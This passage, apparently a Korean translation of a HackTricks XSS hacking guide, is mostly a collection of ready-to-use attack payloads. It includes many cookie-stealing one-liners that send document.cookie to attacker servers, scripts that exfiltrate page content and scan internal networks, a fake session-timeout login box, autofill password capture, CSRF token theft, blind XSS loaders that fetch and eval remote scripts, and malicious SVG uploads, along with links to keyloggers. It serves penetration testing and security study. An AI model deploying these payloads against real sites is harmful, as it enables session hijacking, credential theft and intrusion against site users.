<a class="content_ref" href="../iframe-traps.md"><span class="content_ref_label">Iframe Traps</span></a>

### 쿠키 가져오기
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
<div class="mdbook-alerts mdbook-alerts-note">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  note
</p>


JavaScript에서 쿠키에 접근할 수 **없습니다** HTTPOnly 플래그가 쿠키에 설정되어 있는 경우. 하지만 여기 [이 보호를 우회하는 몇 가지 방법이 있습니다](../hacking-with-cookies/index.html#httponly) 운이 좋다면.

</div>


### 페이지 콘텐츠 훔치기
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
```
### 내부 IP 찾기
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
```
### 포트 스캐너 (fetch)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### 포트 스캐너 (웹소켓)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">python</span></div>

```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
```
_짧은 시간은 응답하는 포트를 나타냅니다._ _긴 시간은 응답이 없음을 나타냅니다._

Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)에서 확인하고, Firefox에서는 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.

### 자격 증명을 요청하는 상자
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### 자동 완성 비밀번호 캡처
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```
비밀번호 필드에 데이터가 입력되면, 클라이언트가 저장된 비밀번호를 선택하고 아무것도 입력하지 않더라도 사용자 이름과 비밀번호가 공격자의 서버로 전송되며, 자격 증명이 유출됩니다.

### 키로거

깃허브에서 몇 가지 다른 키로거를 찾았습니다:

- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- 메타스플로잇 `http_javascript_keylogger`도 사용할 수 있습니다.

### CSRF 토큰 훔치기
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
```
### PostMessage 메시지 훔치기
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
```
### 서비스 워커 악용

<a class="content_ref" href="abusing-service-workers.md"><span class="content_ref_label">Abusing Service Workers</span></a>

### 섀도우 DOM 접근

<a class="content_ref" href="shadow-dom.md"><span class="content_ref_label">Shadow DOM</span></a>

### 폴리글롯

<a class="content_ref" href="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt"><span class="content_ref_label">Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub</span></a>

### 블라인드 XSS 페이로드

You can also use: [https://xsshunter.com/](https://xsshunter.com)
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
### Regex - Access Hidden Content

[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값은 REGEX의 입력값이 제거된 후에도 여전히 찾을 수 있습니다:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">javascript</span></div>

```javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
```
### Brute-Force List

<a class="content_ref" href="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt"><span class="content_ref_label">Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub</span></a>

## XSS 다른 취약점 악용하기

### Markdown에서의 XSS

렌더링될 Markdown 코드를 주입할 수 있나요? 아마도 XSS를 얻을 수 있을 것입니다! 확인해보세요:

<a class="content_ref" href="xss-in-markdown.md"><span class="content_ref_label">XSS in Markdown</span></a>

### SSRF로의 XSS

**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 사용하여 **SSRF로 업그레이드**해보세요:
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">python</span></div>

```python
<esi:include src="http://yoursite.com/capture" />
```
쿠키 제한, XSS 필터 등을 우회하는 데 사용하세요!\
이 기술에 대한 더 많은 정보는 여기에서 확인하세요: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).

### 동적으로 생성된 PDF에서의 XSS

웹 페이지가 사용자 제어 입력을 사용하여 PDF를 생성하는 경우, PDF를 생성하는 **봇을 속여** **임의의 JS 코드를 실행**하도록 시도할 수 있습니다.\
따라서 **PDF 생성 봇이** 어떤 종류의 **HTML** **태그**를 찾으면, 이를 **해석**하게 되고, 이 동작을 **악용**하여 **서버 XSS**를 유발할 수 있습니다.

<a class="content_ref" href="server-side-xss-dynamic-pdf.md"><span class="content_ref_label">Server Side XSS (Dynamic PDF)</span></a>

HTML 태그를 주입할 수 없다면 **PDF 데이터 주입**을 시도해 볼 가치가 있을 수 있습니다:

<a class="content_ref" href="pdf-injection.md"><span class="content_ref_label">PDF Injection</span></a>

### Amp4Email에서의 XSS

AMP는 모바일 장치에서 웹 페이지 성능을 가속화하기 위해 HTML 태그와 JavaScript를 보완하여 속도와 보안에 중점을 두고 기능을 보장합니다. 다양한 기능을 위한 여러 구성 요소를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 접근할 수 있습니다.

[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호작용할 수 있도록 합니다.

예시 [**Gmail의 Amp4Email에서 XSS 작성**](https://adico.me/post/xss-in-gmail-s-amp4email).

### 파일 업로드에서의 XSS (svg)

다음과 같은 파일을 이미지로 업로드하세요 (출처: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">markup</span></div>

```markup
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">svg</span></div>

```svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">html</span></div>

```html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
```

<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">xml</span></div>

```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
**더 많은 SVG 페이로드를 찾으세요** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)

## 기타 JS 트릭 및 관련 정보

<a class="content_ref" href="other-js-tricks.md"><span class="content_ref_label">Misc JS Tricks & Relevant Info</span></a>

## XSS 리소스

- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)

<div class="mdbook-alerts mdbook-alerts-tip">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  tip
</p>


AWS 해킹 배우기 및 연습하기:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
GCP 해킹 배우기 및 연습하기: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">

<details>

<summary>HackTricks 지원하기</summary>

- [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
- **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
- **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**

</details>

</div>